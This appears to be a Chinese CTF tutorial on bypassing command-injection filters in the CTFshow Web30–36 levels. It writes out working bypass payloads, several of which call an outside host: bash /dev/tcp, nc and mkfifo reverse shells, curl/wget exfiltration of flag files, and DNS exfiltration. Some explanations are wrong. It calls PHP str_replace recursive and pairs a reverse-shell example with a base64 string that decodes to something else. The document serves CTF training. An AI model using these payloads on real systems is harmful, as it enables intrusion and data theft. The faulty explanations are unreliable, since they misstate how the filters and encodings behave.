CTF命令执行绕过实战:从空格过滤到无回显外带的7种核心姿势
1. 项目概述:一场与过滤器的猫鼠游戏
如果你玩过CTFshow的Web30到Web36,大概率会对那几个命令执行关卡印象深刻。它们就像一道精心设计的阶梯,每一级都设置了一个新的“过滤器”,从最基础的过滤空格,到后来的黑名单、无回显、甚至字符长度限制,步步紧逼。很多新手朋友卡在这里,看着题目描述里寥寥几行代码,感觉无从下手,明明知道是命令执行,但就是执行不了。这其实是一场典型的“猫鼠游戏”——出题人(猫)设置了各种规则来限制你,而你的任务就是找到规则中的缝隙(鼠洞),优雅地钻过去。
这系列关卡的核心价值,远不止于拿到那几分。它系统地训练了你面对命令执行漏洞时最关键的思维:绕过。在真实的渗透测试或安全研究中,你几乎不可能遇到一个毫无防护、直接让你执行任意命令的系统。安全工程师们会部署WAF、编写过滤函数、进行输入净化。因此,能否成功利用一个命令执行漏洞,90%的功夫都花在了如何绕过这些防护措施上。Web30-Web36就是一个绝佳的微型训练场,它把常见的、基础的绕过姿势拆解成了六个独立的实验场景。
我花了些时间,重新梳理并实战了这几个关卡,将其中涉及的核心绕过技巧归纳为7种具有代表性的“姿势”。这不仅仅是解题攻略,更是一次对命令执行绕过底层逻辑的深度拆解。无论你是想通关CTFshow的新手,还是希望夯实Web安全基础的朋友,理解这背后的“为什么”和“怎么做”,都能让你在遇到真实世界的复杂过滤时,拥有清晰的排查思路和丰富的“武器库”。
2. 核心思路拆解:理解过滤器的运作原理
在开始具体绕过之前,我们必须先建立一个核心认知:所有的绕过技巧,都建立在对过滤器(Filter)行为模式的准确理解之上。你不能盲目地尝试各种Payload,而应该像调试程序一样,去“探测”和“推断”过滤器做了什么。
2.1 过滤器常见的处理逻辑
命令执行漏洞的过滤器,通常出现在Web应用程序将用户输入传递给系统命令执行函数(如PHP的system()、exec()、passthru(),Python的os.system()等)之前。其处理逻辑无外乎以下几种:
- 黑名单(Blacklist):这是最简单也最容易被绕过的防护。开发者定义一个“危险字符或命令”的列表(如
cat,flag,;,|,&),然后在用户输入中查找并删除或替换这些内容。绕过思路:利用黑名单的“不完整性”。例如,如果过滤了cat,可以用tac、more、less、head、tail甚至nl来替代。如果过滤了空格,可以用${IFS}、$IFS$9、<、>、%09(Tab的URL编码)等来替代。 - 白名单(Whitelist):相对安全,但实现复杂。只允许输入符合特定格式或集合的字符(如只允许数字和字母)。在CTF中较少见,因为一旦实现,绕过难度极大。
- 转义或编码处理:对特殊字符(如引号、反斜杠、美元符号)进行转义,防止它们被Shell解释。例如,将
‘转义为\’,将$转义为\$。 - 长度限制:严格限制用户输入的长度,让你无法拼接复杂的命令。
- 无回显(Blind):命令执行了,但结果不直接显示在页面上。你需要通过其他方式(如DNS外带、HTTP请求、写入文件再读取、时间盲注)来获取命令执行的结果。
Web30-Web36的关卡,就是围绕这些逻辑的组合与变种展开的。我们的绕过姿势,本质上就是针对每一种处理逻辑的“特解”。
2.2 通用探测方法论
面对一个未知的过滤环境,我通常会遵循以下步骤进行探测,这套方法在实战中非常有效:
- 信息收集:首先查看网页源码、响应头,有时过滤逻辑会直接写在客户端的JavaScript里(虽然不安全,但CTF中常见)。更重要的是,尝试触发错误信息。例如,在参数后加一个单引号
‘,看是否会报数据库或PHP语法错误,这能帮你判断输入点上下文。 - 基础字符测试:依次测试常见的命令分隔符和管道符:
;、|、&、&&、||、\n(换行符)。观察页面反应是执行了、被过滤了(字符消失)、还是报错了。 - 空格绕过测试:如果发现命令拼接成功但空格被过滤,立即尝试上述提到的替代品:
${IFS}、$IFS$9、<、%09。 - 命令黑名单测试:尝试执行最简单的
ls或dir。如果被拦,尝试变体:l\s、l‘s’、l”s”、/???/ls(利用通配符)。同时,思考有哪些替代命令可以实现相同功能(读文件、执行、反弹Shell等)。 - 输出与回显判断:执行一个有明显效果的命令,如
sleep 5(时间延迟)或ping -c 1 your-dns-log.com(DNS外带)。如果页面卡住5秒或你的DNS日志收到记录,说明命令已执行,只是无回显,需要转向盲注技巧。
这套“组合拳”打下来,你对当前关卡的过滤规则就能有个七八分的把握了。接下来,我们就带着这套方法论,进入具体的关卡实战。
3. 姿势一:空格过滤的经典绕过(对应Web30)
Web30通常被设计为过滤了空格字符。这是最简单的绕过,也是很多朋友命令执行绕过的第一课。
关卡模拟场景:假设有一个PHP页面,代码如下:
<?php $cmd = $_GET[‘cmd’]; $cmd = str_replace(“ “, “”, $cmd); // 过滤所有空格 system($cmd); ?>你的目标是读取当前目录下的flag.php文件。
直接Payload:cat flag.php会变成catflag.php,显然无法执行。
绕过姿势:使用Shell环境中的内部字段分隔符替代品。
${IFS}:这是最标准、兼容性最好的方式。IFS是Shell的预定义变量,默认为空格、制表符、换行符。用${}包裹起来后,它会被解释为一个变量,其值就是空格。- Payload:
cat${IFS}flag.php - 原理:在Bash中,
${IFS}被扩展为一个空格,从而成功分隔cat和flag.php。
- Payload:
$IFS$9:这是${IFS}的一个变种,在CTF中极为常见。$9代表Shell脚本的第9个参数,通常为空。拼接$IFS$9后,$9的空值不会影响$IFS的解析,且这种写法常能绕过一些简单的字符串匹配过滤。- Payload:
cat$IFS$9flag.php - 原理:与
${IFS}类似,$IFS变量被扩展,后面的$9(空)被忽略,整体效果等同于一个空格。
- Payload:
重定向符号
<:<用于输入重定向,但在这里可以巧用作命令参数分隔。你可以将文件作为命令的“参数”输入。- Payload:
cat<flag.php - 原理:
cat命令会从flag.php文件中读取内容并输出。这并非通过空格传递参数,而是通过重定向传递输入源,完美绕过了对空格的检查。
- Payload:
URL编码
%09:在HTTP请求中,空格可以编码为%20,但制表符(Tab)的编码%09更常被用作空格替代,因为很多过滤器只过滤%20而忽略%09。- Payload(在浏览器地址栏或Burp Suite中):
?cmd=cat%09flag.php - 原理:服务器端收到
%09,解码后得到一个制表符,在Shell中,制表符和空格一样可以作为单词分隔符使用。
- Payload(在浏览器地址栏或Burp Suite中):
实操心得:在自动化工具或编程构造Payload时,
${IFS}和$IFS$9的可靠性最高。如果遇到更严格的过滤,可以尝试将整个Payload用引号包裹再配合sh -c执行,例如sh -c “cat\$IFS\flag.php”,这里需要对$进行转义以防止本地变量被提前解释。
4. 姿势二:命令黑名单的“同义替换”(对应Web31)
当空格过滤被解决后,下一关通常会引入命令黑名单。比如,过滤了cat、flag、php等关键词。
关卡模拟场景:
<?php $cmd = $_GET[‘cmd’]; $blacklist = array(“cat”, “flag”, “php”, “ “); $cmd = str_replace($blacklist, “”, $cmd); system($cmd); ?>注意,这里使用了str_replace,这是一个递归过滤的函数。输入catcat,经过过滤会变成空字符串,因为移除第一个cat后,剩下的字符又组成了第二个cat,会被再次移除。
绕过姿势:核心思想是“用不同的命令做同样的事”,以及“破坏关键词的连贯性”。
命令替代:读文件不止
cat。more:分页显示文件。more flag.phpless:与more类似,功能更强。head/tail:显示文件头/尾几行。head -n 50 flag.php(查看前50行)。tac:反向显示文件(cat的反写)。nl:显示文件并加上行号。od/xxd:以二进制或十六进制格式查看文件,常用于查看包含特殊字符的文件。strings:打印文件中可打印的字符序列,对于从二进制文件中找字符串很有用。grep:搜索文件内容。grep -r “ctfshow{” .在当前目录递归搜索包含ctfshow{的文件。
通配符绕过:利用Shell的通配符
?和*来匹配命令或文件名。/bin/cat被过滤了?试试/???/cat。?代表任意单个字符。/???/cat可以匹配到/bin/cat。*代表任意多个字符。/usr/bin/cat也可以用/*/cat来匹配,但可能匹配到多个路径,不够精确。- Payload:
/???/cat /???/????.???。这可能匹配到/bin/cat /var/flag.php。在CTF中,目录结构通常简单,这种匹配成功率很高。
转义与引号:在字符中间插入转义符或引号,破坏黑名单字符串的完整性。
- 反斜杠转义:
c\at fl\ag.p\hp。在Shell解析时,反斜杠会被移除,命令变成cat flag.php。 - 单/双引号包裹:
c’a’t f”l”ag.php。引号内的字符被当作一个整体,但引号本身在参数解析时会被移除。 - 注意:这种方法对于使用
str_replace等简单字符串删除的过滤有效,但如果过滤器是正则表达式匹配(如preg_match(“/cat/”))则可能无效。
- 反斜杠转义:
递归过滤的利用:针对
str_replace的递归过滤,可以采用“叠罗汉”技巧。例如,要输出cat,可以传入caat。过滤器移除中间的a后,剩下的字符正好是cat。但本例中过滤的是整个单词,此技巧更适用于过滤单个字符的场景。
注意事项:命令替代是首选方案,因为它最直接可靠。通配符技巧在未知绝对路径时非常有用。转义和引号技巧则需要对过滤函数的行为有精准判断,可以先通过
echo命令测试过滤效果,例如传入?cmd=echo‘test’,观察输出是test还是echtest(过滤了o),从而推断过滤逻辑。
5. 姿势三:拼接与无参RCE的奇技淫巧(对应Web32/33)
当过滤进一步加强,可能禁用更多特殊字符(如反斜杠、引号、$)甚至字母时,我们就需要更巧妙的姿势:命令拼接和无参数RCE。
关卡模拟场景(Web32):过滤了空格、大部分特殊字符,但允许点号.、引号等。或者,代码本身允许你传入多个参数,但每个参数都单独过滤。
绕过姿势:利用Shell的特性或PHP的特性进行拼接。
利用Shell变量拼接:即使
$被过滤,我们仍可能利用已存在的环境变量。但更常见的是利用.(点号)在PHP中作为字符串连接符的特性(如果代码是eval(“\$a=’$cmd’;”)这类形式)。在纯Shell环境下,我们可以用{CMD,ARG}的形式。- Shell花括号扩展:
{cat,flag.php}在Shell中会被扩展为cat flag.php。这中间自动产生了空格。 - Payload:
?cmd={cat,flag.php}
- Shell花括号扩展:
反引号命令替换:反引号 `` 或
$()会先执行其中的命令,并将其输出作为参数。可以用于生成所需的字符串。- 例如,如果
cat被过滤,但echo和ls没被过滤。可以尝试a=`echo cat`; $a flag.php。先让echo cat的输出(即字符串cat)赋值给变量a,然后执行$a flag.php。 - 这需要分号
;或换行符来分隔命令,如果它们也被过滤,则难度增大。
- 例如,如果
无参数RCE(Web33可能涉及):这是高阶技巧。当你的输入点不允许任何参数,或者所有参数都被严格过滤时,你需要在不使用括号、参数的情况下调用函数并执行命令。在PHP中,这通常依赖于:
getallheaders():获取所有HTTP头,我们可以将命令写入某个Header(如X-Forwarded-For),然后通过end()、current()等数组函数获取它。get_defined_vars():获取所有已定义变量,可能从$_GET、$_POST等超全局数组中提取数据。session_id():如果session_start()被调用,我们可以通过Cookie的PHPSESSID传入Payload。scandir()+current()/next()/end():遍历目录,找到flag文件,然后用readfile()、highlight_file()等读取。- 示例(概念性):假设代码是
eval($_GET[‘cmd’]);且过滤了所有引号和括号。一个可能的Payload是利用?cmd=echo;$_GET[1];&1=system(‘ls’);,但这需要括号。真正的无参可能像这样:?cmd=highlight_file(next(scandir(current(get_defined_vars()))));`,这需要极其特殊的上下文环境。
踩坑记录:拼接技巧高度依赖于目标环境(Shell版本、PHP配置、过滤函数顺序)。在实战中,务必先用
echo测试各种构造的输出结果。例如,传入?cmd=echo${IFS}“test”,看是输出test还是echotest,以此判断${IFS}和引号是否被正确解析。无参RCE则需要对PHP内部函数有深刻理解,通常用于解决极端限制的题目。
6. 姿势四:长度限制下的“文件写入”与“反弹Shell”(对应Web34)
有些关卡会限制输入命令的长度(比如少于10个字符)。你无法直接写入一个完整的cat flag.php。
关卡模拟场景:if(strlen($cmd) < 10) { system($cmd); }
绕过姿势:核心思路是“分步写入”和“外部牵引”。既然一次说不完,那就分几次说,或者让目标机器主动联系我。
短命令写入文件:利用极短的命令,分步将一段较长的Payload写入一个临时文件,然后执行这个文件。
- Step 1: 写入Payload。可以使用
echo命令配合重定向>。>a创建一个空文件a。echo\>a可能会出错,因为echo默认输出到stdout。更可靠的是使用printf或echo -n,但字符数可能超限。一个经典技巧是利用ls -t>g将文件名按时间顺序写入文件g,然后通过精心排列上传文件顺序来构造命令,但这需要Web目录有写权限且能上传文件。
- Step 2: 执行文件。如果写入的是Shell脚本,可以用
sh a来执行。 - CTF经典技巧(长度极限利用):通过
>创建一系列包含单个字符的文件(文件名就是字符),然后用ls -t>g将这些文件名按时间顺序排列写入文件g,使得g文件的内容恰好是一个可执行的命令字符串,最后sh g。这个过程对字符长度要求极低,但步骤繁琐。
- Step 1: 写入Payload。可以使用
反弹Shell(更通用):当长度受限但网络连通时,反弹Shell是最优雅的解决方案。你不需要在目标机器上写出完整命令,只需要让它连接你的监听端口。
- 短Payload示例:
- Bash:
bash -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1。这个命令较长,但可以编码压缩。 - 利用工具生成短链接:可以使用
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“YOUR_IP”,YOUR_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’,这个更长。 - 终极短命令:如果
nc(netcat)可用,且支持-e参数,那么nc YOUR_IP PORT -e /bin/sh相对较短。如果nc不支持-e,可以用管道方式:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc YOUR_IP PORT >/tmp/f,这个就更长了。
- Bash:
- 如何适配长度限制?将反弹Shell的命令用Base64编码,然后分多次
echo解码。例如:- 在你的机器上准备Payload:
echo “bash -i >& /dev/tcp/192.168.1.100/4444 0>&1” | base64得到一串编码。 - 在目标机器上执行:
echo$IFS’Y2F0IC4uLy4uLy4uL2ZsYWc=’|base64$IFS-d|bash。这里echo输出Base64串,通过管道|传给base64 -d解码,再传给bash执行。你可以将长Base64串拆分成多个echo语句,用>>追加到文件,最后一次性解码执行。
- 在你的机器上准备Payload:
- 短Payload示例:
重要提醒:反弹Shell是渗透测试中获取稳定交互式Shell的常用手段,但在CTF或未经授权的测试中绝对禁止对非目标机器使用。在CTF题目中,这通常是一个设计好的考点。在你的本地实验环境或CTF平台提供的靶机中练习即可。
7. 姿势五:无回显命令执行的“外带数据”(对应Web35)
这是命令执行漏洞利用中非常关键的一环:盲注(Blind Command Injection)。命令执行了,但你看不到输出结果。你需要通过其他渠道把数据“带出来”。
关卡模拟场景:system($cmd);但页面没有任何回显,或者只显示“执行成功/失败”。
绕过姿势:建立一条从目标服务器到你的服务器的“数据隧道”。
DNS外带(DNS Exfiltration):这是最隐蔽、最常用的方式之一。利用DNS查询日志来携带信息。
- 原理:让目标服务器解析一个由你控制的域名,并将要窃取的数据作为子域名的一部分。你的DNS服务器会收到查询请求,从日志中即可提取数据。
- 命令:
ping -c 1 $(whoami).YOUR_DOMAIN.com$(whoami)会执行并输出当前用户名,比如root。- 最终执行的命令是
ping -c 1 root.YOUR_DOMAIN.com。 - 你的DNS服务器(例如配置了
*.YOUR_DOMAIN.com的NS记录)会收到对root.YOUR_DOMAIN.com的查询。
- 工具:可以使用
interactsh、dnslog.cn、ceye.io等在线平台快速获得一个临时域名并查看DNS日志,无需自建服务器。 - Payload示例:读取
flag.php的第一行并外带:head$IFS-1$IFSflag.php|xxd$IFS-p|tr$IFS-d$IFS’\n’|xargs$IFS-I{}$IFSdig$IFS{}.YOUR_DOMAIN.com。这个命令将flag内容转成十六进制,然后分成小块作为子域名进行查询。
HTTP/HTTPS外带:让目标服务器向你的Web服务器发起HTTP请求,将数据放在URL、Header或Body中。
- 使用
curl或wget:curl http://YOUR_IP:PORT/?data=$(cat flag.php | base64)wget http://YOUR_IP:PORT/$(whoami)
- 使用
ping带数据(ICMP):虽然不如DNS通用,但ping的-p选项(在某些系统上)可以指定填充字节,可用于携带少量数据。ping -c 1 -p $(echo -n ‘data’|xxd -p) YOUR_IP。
- 使用
时间盲注(Time-based Blind):通过命令执行的时间延迟来推断信息。类似于SQL时间盲注。
- 原理:如果命令执行成功,就
sleep几秒;如果失败,立即返回。通过观察页面响应时间,可以判断条件真假。 - 命令:
cat /flag && sleep 5或者grep -q ‘ctfshow{‘ /flag && sleep 3。 - 自动化:时间盲注通常需要编写脚本(Python)来自化枚举数据,过程缓慢。
- 原理:如果命令执行成功,就
写入文件再间接读取:如果目标Web目录可访问,可以将命令输出写入一个
.txt、.jpg甚至.php文件,然后通过Web访问该文件。ls > /var/www/html/result.txt,然后访问http://target.com/result.txt。- 如果只能写入当前目录,可以尝试
ls > a,然后看页面是否有文件包含漏洞能包含a这个文件。
实操心得:DNS外带是首选,因为它能穿透大多数出站防火墙(DNS端口53通常开放)。HTTP外带次之,但需要注意目标服务器是否有
curl/wget工具,以及你的服务器IP是否被目标网络策略允许。时间盲注是最后的选择,效率最低。在实战中,可以组合使用:先通过DNS外带确认漏洞存在并获取基础信息(如当前路径、用户名),再通过HTTP外带传输大文件。
8. 姿势六:编码与十六进制绕过(通用技巧)
当过滤器对特殊字符和关键词进行严格匹配时,编码是一种有效的混淆手段。
绕过姿势:利用Shell或编程语言对编码字符串的解码能力。
Base64编码:这是最常用的编码绕过方式。
- 命令:
echo ‘Y2F0IGZsYWcucGhw’ | base64 -d | bash - 分解:
echo ‘Y2F0IGZsYWcucGhw’输出Base64字符串(即cat flag.php的编码)。| base64 -d管道将输出传递给base64命令进行解码,还原为cat flag.php。| bash将解码后的命令字符串交给bash执行。
- 优点:可以绕过对空格、关键词的直接匹配。因为Payload在解码前只是一串“人畜无害”的字母数字。
- 命令:
十六进制(Hex)编码:Shell的
printf或xxd命令可以处理十六进制。- 命令:
echo ‘63617420666c61672e706870’ | xxd -r -p | bash63617420666c61672e706870是cat flag.php的十六进制表示(每个字符的ASCII码)。xxd -r -p:-r表示反转(hex转binary),-p表示使用纯十六进制格式(无空格和地址)。
- 或者使用
printf:bash <<< `printf ‘\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70’`。这里利用了Here String和命令替换。
- 命令:
八进制编码:原理类似,使用
printf的\nnn格式(nnn为八进制数)。printf ‘\143\141\164\040\146\154\141\147\056\160\150\160’会输出cat flag.php。
注意事项:编码绕过的前提是,目标系统上有对应的解码工具(
base64,xxd,printf)并且允许你通过管道|或反引号将解码后的内容传递给Shell。如果过滤器连|和bash也禁用了,此方法可能失效。另外,注意编码后的字符串本身不能包含被过滤的特殊字符(如Base64串尾部的=可能被过滤)。
9. 姿势七:综合绕过与高级利用链构建(对应Web36及更高难度)
Web36或更复杂的关卡,往往是上述多种过滤规则的组合。例如,同时过滤空格、关键命令、特殊字符,并且有长度限制或无回显。这时就需要构建一个利用链,将多种姿势组合起来。
模拟场景:过滤了cat、flag、空格、$、|、&、;,并且命令长度不能超过15个字符,无回显。
解题思路(假设):
- 目标:读取
/flag文件。 - 约束分析:不能有空格,不能用
cat,不能管道,长度短,无回显。 - 链式构造:
- Step1: 解决无回显。首选DNS外带。我们需要一个非常短的命令来触发DNS查询。
ping命令相对较短。 - Step2: 解决命令和空格。不能用
cat,考虑用head、tail或more。假设head没被过滤。空格用${IFS}可能被过滤(含$),考虑用<重定向。但head</flag仍然需要把文件内容传给DNS。 - Step3: 组合与压缩。我们可以尝试:
head</flag。但如何将输出传给ping?没有管道|。可以尝试命令替换$(…),但$被过滤。另一个思路:将输出重定向到一个文件,然后用ping读取这个文件?ping不支持从文件读数据作为域名。 - Step4: 换个思路——利用通配符和短命令。也许存在一个非常短的命令可以执行代码。例如,如果
.(点号)没被过滤,在Linux中,.等同于source命令,可以执行一个文件。我们可以先通过其他方式(比如之前的长度限制关卡中的分步写入技巧)写入一个非常短的、用于DNS外带的脚本。 - Step5: 利用环境变量或已有文件。检查是否可以通过
*通配符来匹配到某个已存在的、内容可控的文件?或者,/???/???可能匹配到/usr/bin/wget,用它来外带数据?但wget命令本身长度可能超限。 - 最终Payload构想(一种可能):如果
/bin/base64可以通过/???/??????匹配到,我们可以:/???/??????$IFS/flag。但$IFS被过滤。尝试用<:/???/??????</flag。这个命令会执行base64并以/flag作为输入,输出flag的Base64编码。但输出到哪里?无回显。我们需要把它作为参数传给ping。这又回到了管道问题。 - 可能的突破口:如果
echo没被过滤,且反引号 `` 没被过滤(有时过滤$()但不过滤反引号),可以尝试:ping \`head -c 10 /flag\`.dnslog.cn。但这里-c和空格又是问题。
- Step1: 解决无回显。首选DNS外带。我们需要一个非常短的命令来触发DNS查询。
这个思维过程展示了面对复杂过滤时的真实挑战。通常的解决方案是:
- 寻找未被过滤的“原语”:找到一个最基础的、可用的命令执行点(哪怕只能执行
echo 1)。 - 逐步扩大控制范围:利用这个原语,结合文件操作(写文件)、编码、外部工具(如果存在),一步步构建出能执行更复杂命令的环境。
- 善用“外部资源”:在CTF中,题目环境往往预装了一些不常见的工具,或者某些目录有写权限。
ls -la /、ls -la /bin、ls -la /usr/bin查看可用工具是第一步。 - 考虑非预期解:有时出题人的过滤逻辑可能存在缺陷,比如过滤函数顺序错误、正则表达式存在绕过(如
/bin/cat过滤了,但/bin/\cat没过滤)、或者存在其他未被发现的输入点。
10. 实战问题排查与工具使用心得
在实际操作这些绕过姿势时,你一定会遇到各种意想不到的问题。这里分享一些排查技巧和工具使用心得。
常见问题速查表
| 问题现象 | 可能原因 | 排查思路 |
|---|---|---|
| Payload提交后无任何变化,页面原样返回 | 1. 输入点错误。 2. 命令执行函数被禁用或不存在。 3. 过滤规则过于严格,Payload被完全清空。 | 1. 检查参数名是否正确(cmd、c、command等)。2. 尝试最简单的 echo 123或sleep 5测试。3. 使用 echo ‘test’ > test.txt并访问该文件,确认命令是否执行。 |
| 页面返回错误信息(如500错误) | 1. 命令语法错误。 2. 执行的命令不存在。 3. 权限不足。 | 1. 在本地Shell中测试Payload的语法。 2. 使用 which cat或type cat确认命令路径。3. 尝试读取 /etc/passwd等公开文件测试权限。 |
| 部分字符被删除或替换 | 触发了黑名单过滤或转义。 | 使用echo回显你的Payload,观察哪些字符被处理了。例如:?cmd=echo;a;b;c,看输出是a b c还是abc,判断分号是否被过滤。 |
| 长度受限,长Payload被截断 | 前端或后端有长度限制。 | 1. 使用短命令或编码。 2. 尝试分步写入文件。 3. 检查是否有其他参数可利用,进行拼接。 |
| 命令疑似执行但无回显 | 盲注场景。 | 1. 使用DNS外带命令(ping、dig、nslookup)测试。2. 使用 sleep命令测试时间延迟。3. 尝试将输出写入Web可访问目录的文件。 |
| 反弹Shell连接失败 | 1. 你的监听设置错误。 2. 目标出站防火墙阻止。 3. Payload中的IP/端口错误。 4. 目标系统没有 /bin/bash或nc。 | 1. 先用nc -lvnp PORT在本地测试监听是否正常。2. 尝试使用常见端口(53, 80, 443)。 3. 检查Payload中的IP是否为公网IP(如果是局域网环境)。 4. 尝试使用其他Shell Payload(如Python、PHP、Perl版本)。 |
工具推荐与使用技巧
- Burp Suite / HackBar:用于方便地构造和发送HTTP请求,编码/解码Payload,观察响应。Repeater模块是测试Payload的利器。
- CyberChef:一个强大的Web编解码、加密解密、数据格式转换工具。可以快速进行Base64、Hex、URL编码等操作,并组合成“配方”(Recipe),极大提升效率。
- Interactsh / DNSLog Platform:用于接收DNS、HTTP外带数据。无需自建服务器,获取一个子域名即可开始测试,自动记录查询日志,是检测盲注的神器。
- SecLists:一个庞大的安全测试用例集合。其中的
Fuzzing目录包含各种用于命令注入的模糊测试字典,如command-injection-generic-payloads.txt,可以加载到Burp Intruder中进行批量测试。 - 编写简单Python脚本:对于时间盲注或需要复杂逻辑拼接的Payload,手动操作不现实。用Python的
requests库编写脚本,自动化枚举数据(如逐字符读取flag)是必备技能。
最后的忠告:命令执行绕过的学习,切忌死记硬背Payload。关键是要理解每一种姿势背后的原理:Shell是如何解析命令的?PHP的system()函数是如何处理字符串的?过滤器做了什么和没做什么?只有理解了原理,你才能在面对全新的、未见过的过滤规则时,创造出属于自己的绕过方法。Web30-Web36这六个关卡,就是六个经典的原理实验场,把它们吃透,你的命令执行漏洞利用水平一定会迈上一个坚实的台阶。
